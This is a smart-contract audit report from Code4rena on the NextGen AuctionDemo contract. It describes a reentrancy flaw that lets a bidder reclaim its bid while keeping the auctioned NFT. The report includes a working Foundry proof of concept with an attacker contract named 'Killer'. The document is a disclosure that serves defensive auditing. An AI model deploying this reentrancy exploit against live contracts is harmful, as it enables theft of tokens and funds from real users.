Attacker can exploit reentrancy vulnerability to get ownership of auctioned token for free

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

Since control is passed to highestBidder's onERC721Received() inside claimAuction() and there is no reentrancy guard on various public functions like claimAuction(), cancelBid() and cancelAllBids(), an attacker can take part in the auction and get ownership of the token for free.

Proof of Concept

Attack steps:

1. Attacker places a very high bid via participateToAuction() to emerge as the highest bidder.
2. He calls claimAuction() at end of auction.
3. Protocol transfers the token to the attacker which calls onERC721Received() inside the attacker contract.
4. A call to cancelBid() or cancelAllBids() is made from inside onERC721Received().
5. Attacker's bid amount is returned to him.
6. Ownership of token is transferred to him.
   He is the owner of the token for free.

Steps to run the PoC code:

• Install foundry and run forge init --no-git --force from root folder (2023-10-nextgen/).
• Paste the following code inside a new file 2023-10-nextgen/test/t0x1cClaimAuction.t.sol.
• Run via forge test --mt test_t0x1cClaimAuction -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";

interface IERC721 {
    function ownerOf(uint256 tokenId) external view returns (address owner);
    function approve(address to, uint256 tokenId) external;
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

interface IAuctionDemo {
    function cancelBid(uint256 _tokenid, uint256 index) external;
}

contract Killer is IERC721Receiver {
    IAuctionDemo auctionDemoContract;

    constructor(address _auctionDemo) payable {
        auctionDemoContract = IAuctionDemo(_auctionDemo);
    }

    function onERC721Received(address, address, uint256, bytes memory)
        public
        virtual
        override
        returns (bytes4)
    {
        auctionDemoContract.cancelBid(10000000000, 2); // @audit-issue : reentrancy attack
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

contract t0x1cClaimAuction is Test {
    address public bidder1;
    address public bidder2;
    address public trustedAccount;
    bytes32 public merkleRoot_msgSender;
    bytes32[] public _merkleProof_msgSender;
    string[] public _collectionScript;

    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenCore hhCore;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;
    auctionDemo hhAuctionDemo;

    Killer contractKiller;

    function setUp() public {
        bidder1 = makeAddr("bidder1");
        bidder2 = makeAddr("bidder2");
        trustedAccount = makeAddr("trustedAccount");
        merkleRoot_msgSender =
            0x208fae20dc5074374a223a1a825bfc23fbf2c9c88f5b092fa3421d54058170d3; // gives max allowance of 19 tokens in phase1
        _merkleProof_msgSender = new bytes32[](1);
        _merkleProof_msgSender[0] =
            0x9200f00000000000000000000000000000000000000000000000000000000001;

        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));

        // This example uses the NXT Randomizer
        hhRandomizer =
        new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore));

        hhMinter =
        new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin));
        hhAuctionDemo =
            new auctionDemo(address(hhMinter), address(hhCore), address(hhAdmin));

        checkIfContractsAreDeployed();

        _collectionScript = new string[](1);
        _collectionScript[0] = "desc";

        vm.deal(bidder1, 10 ether);
        vm.deal(bidder2, 90 ether);
        vm.deal(trustedAccount, 100 ether);

        contractKiller = new Killer{value: 100 ether}(address(hhAuctionDemo));
    }

    function checkIfContractsAreDeployed() public {
        assertNotEq(address(hhAdmin), address(0));
        assertNotEq(address(hhCore), address(0));
        assertNotEq(address(hhDelegation), address(0));
        assertNotEq(address(hhMinter), address(0));
        assertNotEq(address(hhRandomizer), address(0));
        assertNotEq(address(hhRandoms), address(0));
        assertNotEq(address(hhAuctionDemo), address(0));
    }

    function test_t0x1cClaimAuction() public {
        /// create collection
        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            _collectionScript
        );

        /// register collection admin
        hhAdmin.registerCollectionAdmin(1, trustedAccount, true);

        /// set collection data
        vm.prank(trustedAccount);
        hhCore.setCollectionData(
            1, // collectionID
            trustedAccount, // collectionArtistAddress
            1, // maxCollectionPurchases
            100, // collectionTotalSupply
            1_000 // setFinalSupplyTimeAfterMint
        );

        /// set minter contract
        hhCore.addMinterContract(address(hhMinter));

        /// set randomizer contracts
        hhCore.addRandomizer(1, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // collectionID
            0, // collectionMintCost
            0, // collectionEndMintCost
            0, // rate
            1, // timePeriod
            1, // salesOption
            address(0)
        );

        hhMinter.setCollectionPhases(
            1, // collectionID
            block.timestamp, // _allowlistStartTime
            block.timestamp + 3 days, // _allowlistEndTime
            block.timestamp + 4 days, // _publicStartTime
            block.timestamp + 5 days, // _publicEndTime
            merkleRoot_msgSender
        );

        hhMinter.mintAndAuction(
            trustedAccount,
            '{"tdh": "100"}',
            99,
            1,
            block.timestamp + 2 days // auction end time
        );
        vm.prank(trustedAccount);
        IERC721(address(hhCore)).approve(address(hhAuctionDemo), 10000000000); // 10000000000 is the tokenId

        assertEq(address(contractKiller).balance, 100 ether);
        vm.warp(block.timestamp + 1 days);

        // simulate some bids by other bidders
        vm.prank(bidder1);
        hhAuctionDemo.participateToAuction{value: 10 ether}(10000000000);
        vm.prank(bidder2);
        hhAuctionDemo.participateToAuction{value: 90 ether}(10000000000);

        // highest bid by attacker
        vm.prank(address(contractKiller));
        hhAuctionDemo.participateToAuction{value: 100 ether}(10000000000);
        assertEq(address(contractKiller).balance, 0);
        assertEq(hhAuctionDemo.returnHighestBid(10000000000), 100 ether);
        assertEq(hhAuctionDemo.returnHighestBidder(10000000000), address(contractKiller));

        skip(1 days); // skip to auction end time
        vm.prank(address(contractKiller));
        hhAuctionDemo.claimAuction(10000000000); // @audit-issue : reentrancy will be exploited here
        assertEq(address(contractKiller).balance, 100 ether); // @audit-info : attacker received his bid amount back!
        assertEq(IERC721(address(hhCore)).ownerOf(10000000000), address(contractKiller)); // @audit-info : attacker owns the NFT for free!!
    }
}

Tools Used

Foundry.

Recommended Mitigation Steps

Add reentrancy guards on all public/external functions.

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as partial-50